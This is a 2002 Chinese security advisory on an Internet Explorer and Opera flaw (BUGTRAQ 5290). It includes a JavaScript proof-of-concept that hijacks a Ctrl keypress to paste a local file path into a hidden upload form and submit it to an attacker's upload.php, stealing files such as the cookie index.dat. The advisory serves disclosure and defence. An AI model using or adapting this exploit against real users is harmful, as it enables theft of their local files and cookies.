首页 -> 安全研究

安全研究

安全漏洞
多家厂商WEB浏览器JavaScript修改转换按键事件漏洞

发布日期:2002-07-23
更新日期:2002-07-30

受影响系统:
Opera Software Opera Web Browser 6.0.1 win32
Opera Software Opera Web Browser 6.0.1 Linux
Opera Software Opera Web Browser 6.0.1
Microsoft Internet Explorer 5.0
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
Microsoft Internet Explorer 5.01
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
Microsoft Internet Explorer 5.5
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
Microsoft Internet Explorer 5.5SP1
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
Microsoft Internet Explorer 5.5SP2
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
Microsoft Internet Explorer 6.0
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
描述:
BUGTRAQ  ID: 5290

Microsoft Internet Explorer和Opera是流行的WEB浏览器。

Microsoft Internet Explorer和Opera在处理'onkeydown'事件时存在问题,远程攻击者可以利用这个漏洞获得目标用户任何本地文件。

通过Javascript,可以定义'onkeydown'事件的事件句柄,此事件当用户末端按某一键的时候被触发,而使用恶意代码可以转换这个事件为任意Ctrl-key按键操作的组合,包括事件转换为粘贴操作,如粘贴任意内容到文件上载表单中,造成系统敏感信息泄露。

攻击者可以通过如下步骤进行操作:

1)当用户按CTRL键,onkeydown事件会把按下的键转换成'V',结果可导致使用粘贴操作。

2)剪贴板中的内容已经更改,此时如果输入焦点更改到隐藏的文件上载表单中,粘贴操作就会在表单中执行,这样就更改了文件上载字段的值。

3)使用合法Javascript操作自动提交要上载的表单。

由于可以通过"..\filename"引用文件,所以攻击者不需要知道本地文件的确切路径。不过如果在知道文件确切路径的情况下,存在执行任意程序的可能,如攻击者可以编译一个.chm帮助文件并通过showHelp()(老的.chm攻击)启动。

远程攻击者可以通过构建包含恶意代码的WEB页面,并在自己的服务器上准备'upload.php'文件进行上载处理,当用户查看此页面,并按下'CTRL'键的时候,就导致WEB页面中指定的文件上载到攻击者指定的服务器中。

<*来源:Andreas Sandblad (sandblad@acc.umu.se
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-07/0250.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Andreas Sandblad (sandblad@acc.umu.se)提供了如下测试方法:

在实际环境中把下面的!号去掉:

-------------------------- CUT HERE -------------------------------
<!div id=h style="zoom:0.0001">
<!form name=u enctype="multipart/form-data" method=post action=upload.php>
<!input type=file name=file></form></div>
<!script>
//uploadFile="..\\LOCALS~1\\TEMPOR~1\\CONTENT.IE5\\index.dat";
uploadFile="..\\Cookies\\index.dat";
function gotKey(){
  if (!event.ctrlKey) return;
  document.onkeydown = null;
  event.keyCode = 86;
  window.clipboardData.setData("Text",uploadFile);
  (p=document.forms.u.file).focus();
  p.onpropertychange = function(){document.forms.u.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
<!/script>
-------------------------- CUT HERE -------------------------------

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* Microsoft公司对这个问题进行调查后,认为不符合安全漏洞定义,所以不准备发布补丁或者修复方案,但提供了如下临时解决方案:

1. 设置"Submit nonencrypted form data"选项为"Disable(不启用)"或"Prompt(提示)"。

2. 不启用"允许通过脚本进行粘贴操作(allow paste operations via script)"。

3. 不启动活动脚本执行。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

Opera Software
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.opera.com

浏览次数:3316
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障